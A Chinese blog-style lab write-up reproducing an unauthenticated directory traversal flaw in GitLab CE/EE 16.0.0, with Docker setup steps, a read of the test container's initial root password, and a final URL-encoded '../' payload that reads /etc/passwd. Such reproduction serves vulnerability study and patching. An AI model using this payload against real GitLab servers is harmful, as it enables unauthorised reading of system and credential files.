【产品介绍】
Gitlab是目前被广泛使用基于git的开源代码管理平台,基于ruby on rails构建,主要针对软件开发过程中产生的代码和文档进行管理,同时可以搭建web服务。其实我理解这个产品和我们的github近似。
【漏洞描述】
Gitlab存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。
【影响范围】
Gitlab CE 16.0.0
Gitlab EE 16.0.0
【复现环境】
1、Docker搭建gitLab CE 16.0.0
【拉取镜像】
1 | docker pull gitlab/gitlab-ce:16.0.0-ce.0 |
【创建并开启容器】
1 | docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0 |
查看一下咱们的这个地址是啥
访问看看能否正常访问
接下来,我们需要查看任务id是什么,我们后面会用到id号查询Gitlab的账号和密码
1 | docker ps -a |
【查看root密码】
1 | docker exec -it f1fa5580d7c0 /bin/bash |
1 | cat /etc/gitlab/initial_root_password |
赶紧用小本本写下来
下面登录我们的Gitlab,输入我们刚刚写的密码
登录成功,创建组
首先我们创建一个组,然后再创建多层子目录
创建一个文件
随意创建一个空项目
创建一个issue,并记录路径
因为777不爱加班,所以前后数据有点对不上,开启重新走了一遍流程,我们接着下面继续
【创建一个issue】
【注意!!!】
前面吃了没有文化的亏,还懒。这个创建目录的时候,手要勤快一点,多建立几层,买不了吃亏,买不了上当
【复制链接】
这是咱们刚issue创建处的文件喔
【拼接地址】
可以读到附件中的内容哈
【构造payload】
1 | /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd |
费了九牛二虎之力,终于学废了。